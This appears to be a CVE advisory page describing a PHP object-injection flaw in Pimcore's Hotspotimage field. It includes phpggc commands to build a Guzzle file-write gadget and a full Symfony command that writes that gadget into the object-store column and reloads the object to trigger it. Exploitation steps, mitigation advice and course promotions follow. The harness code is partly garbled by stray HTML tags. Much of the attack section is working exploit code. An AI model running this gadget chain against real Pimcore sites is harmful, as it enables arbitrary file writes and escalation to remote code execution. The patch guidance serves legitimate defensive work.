Pimcore PHP Object Injection CVE-2026-XXXX (High) -DC-Aug2026-2002

Listen to this Post

Pimcore’s `Hotspotimage` field deserializes stored metadata without a class allowlist due to the `Serialize::unserialize()` wrapper defaulting to unrestricted deserialization. The vulnerable method `getDataFromResource()` reads the `__hotspots` column, attempts json_decode(), and if that fails (as it does for serialized data), it passes the value to `unserialize()` with no allowed classes restriction. This allows an attacker to craft a serialized payload that instantiates arbitrary classes and triggers their magic methods like `__wakeup` or __destruct.
The root cause is in `lib/Tool/Serialize.php` where `unserialize()` defaults to allowed_classes = true, making every call to this wrapper a potential injection point. The same flaw exists in ImageGallery, Block, and `Video` fields, as they share the same fallback logic. An attacker who can write to the object-store column (via SQL injection or a storage primitive) can plant a gadget chain, e.g., using `GuzzleHttp\Cookie\FileCookieJar` to write arbitrary files, leading to remote code execution. The proof-of-concept demonstrates this on Pimcore v2026.1.4 and v12.3.8. The issue is triggered on every object load that includes such a field, including admin panels, frontend rendering, and API calls. The fix involves changing the default of `Serialize::unserialize()` to `allowed_classes = false` or passing an explicit allowlist at the call sites. This vulnerability is comparable to other deserialization flaws in the ecosystem, and while it requires a write primitive, it is reliably exploitable due to the lack of defense-in-depth.

DailyCVE Form:

Platform: Pimcore PHP CMS
Version: 2026.1.4 / 12.3.8
Vulnerability: PHP Object Injection
Severity: High
date: 2026-08-28

Prediction: Late September 2026

What Undercode Say:

Bash commands to generate gadget:

printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser

PHP reproduction harness (Symfony command):

</dt>
<dt><?php</dt>
<dt>declare(strict_types=1);</dt>
<dt>namespace App\Command;</dt>
<dt>use Pimcore\Db;</dt>
<dt>use Pimcore\Model\Asset;</dt>
<dt>use Pimcore\Model\DataObject;</dt>
<dt>use Pimcore\Model\DataObject\ClassDefinition;</dt>
<dt>use Symfony\Component\Console\Attribute\AsCommand;</dt>
<dt>use Symfony\Component\Console\Command\Command;</dt>
<dt>use Symfony\Component\Console\Input\InputInterface;</dt>
<dt>use Symfony\Component\Console\Input\InputOption;</dt>
<dt>use Symfony\Component\Console\Output\OutputInterface;</dt>
<dt>[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]</dt>
<dt>final class E2eHotspotCommand extends Command</dt>
<dt>{</dt>
<dt>protected function configure(): void</dt>
<dt>{</dt>
<dt>$this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');</dt>
<dt>$this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');</dt>
<dt>}</dt>
<dt>protected function execute(InputInterface $input, OutputInterface $output): int</dt>
<dt>{</dt>
<dt>$o = fn (string $m) => $output->writeln($m);</dt>
<dt>$gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');</dt>
<dt>$target = '/tmp/pimcore_pwned_hotspot.txt';</dt>
<dt>@unlink($target);</dt>
<dt>$o('=== STEP 1: create DataObject class with a Hotspotimage field ===');</dt>
<dt>$class = ClassDefinition::getByName('E2eHotspot');</dt>
<dt>if (!$class) {</dt>
<dt>$class = new ClassDefinition();</dt>
<dt>$class->setName('E2eHotspot');</dt>
<dt>$class->setGroup('e2e');</dt>
<dt>$field = new ClassDefinition\Data\Hotspotimage();</dt>
<dt>$field->setName('img');</dt>
<dt>$field->set('img');</dt>
<dt>$panel = new ClassDefinition\Layout\Panel();</dt>
<dt>$panel->setName('Layout');</dt>
<dt>$panel->addChild($field);</dt>
<dt>$class->setLayoutDefinitions($panel);</dt>
<dt>$class->save();</dt>
<dt>}</dt>
<dt>$o(' class id=' . $class->getId());</dt>
<dt>$o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');</dt>
<dt>$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');</dt>
<dt>$asset = Asset::getByPath('/e2e_pixel.png');</dt>
<dt>if (!$asset) {</dt>
<dt>$asset = new Asset\Image();</dt>
<dt>$asset->setFilename('e2e_pixel.png');</dt>
<dt>$asset->setParent(Asset::getById(1));</dt>
<dt>$asset->setData($png);</dt>
<dt>$asset->save();</dt>
<dt>}</dt>
<dt>$o(' asset id=' . $asset->getId());</dt>
<dt>$o('=== STEP 3: create+save object carrying that image ===');</dt>
<dt>$obj = DataObject::getByPath('/e2e_obj');</dt>
<dt>if (!$obj) {</dt>
<dt>$fqcn = '\Pimcore\Model\DataObject\' . $class->getName();</dt>
<dt>$obj = new $fqcn();</dt>
<dt>$obj->setKey('e2e_obj');</dt>
<dt>$obj->setParent(DataObject::getById(1));</dt>
<dt>$obj->setPublished(true);</dt>
<dt>$obj->setValue('img', new DataObject\Data\Hotspotimage($asset));</dt>
<dt>$obj->save();</dt>
<dt>}</dt>
<dt>$objId = $obj->getId();</dt>
<dt>$store = 'object_store_' . $class->getId();</dt>
<dt>$o(' object id=' . $objId . ' store=' . $store);</dt>
<dt>$o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');</dt>
<dt>$db = Db::get();</dt>
<dt>$payload = $input->getOption('benign')</dt>
<dt>? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])</dt>
<dd>$gadget;
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
$stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');
$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));
if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg();
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}
$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [bash] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}

Bash command to check presence:

php bin/console e2e:hotspot

Exploit: (Educational Purposes!)

The exploit leverages the `GuzzleHttp\Cookie\FileCookieJar` gadget chain. Attacker generates serialized payload using phpggc Guzzle/FW1, injects it into the `img__hotspots` column of the target object’s store table via an SQL write primitive. Upon object load, `Hotspotimage::getDataFromResource()` calls `unserialize()` without restrictions, instantiating FileCookieJar. Its `__destruct()` writes attacker-controlled content to a specified file path, achieving arbitrary file write. This can be escalated to RCE via other available gadget chains within Pimcore’s dependencies.

Protection:

Update Pimcore to a patched version once available. As a temporary mitigation, apply the fix by modifying `lib/Tool/Serialize.php` to set default $allowedClasses = false. Alternatively, override each affected marshaller (Hotspotimage, ImageGallery, Block, Video) to explicitly pass `[‘allowed_classes’ => false]` to `Serialize::unserialize()` in their `getDataFromResource()` methods. Ensure all custom field definitions are reviewed and avoid using `unserialize()` on user-supplied data without proper allowlist.

Impact:

PHP Object Injection (CWE-502) leading to remote code execution. An attacker with write access to the object-store column can execute arbitrary code on the server. The vulnerability is widespread, affecting all Pimcore installations with Hotspotimage or similar fields, and is reliably triggered on every object load involving these fields, making it a high-severity risk.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top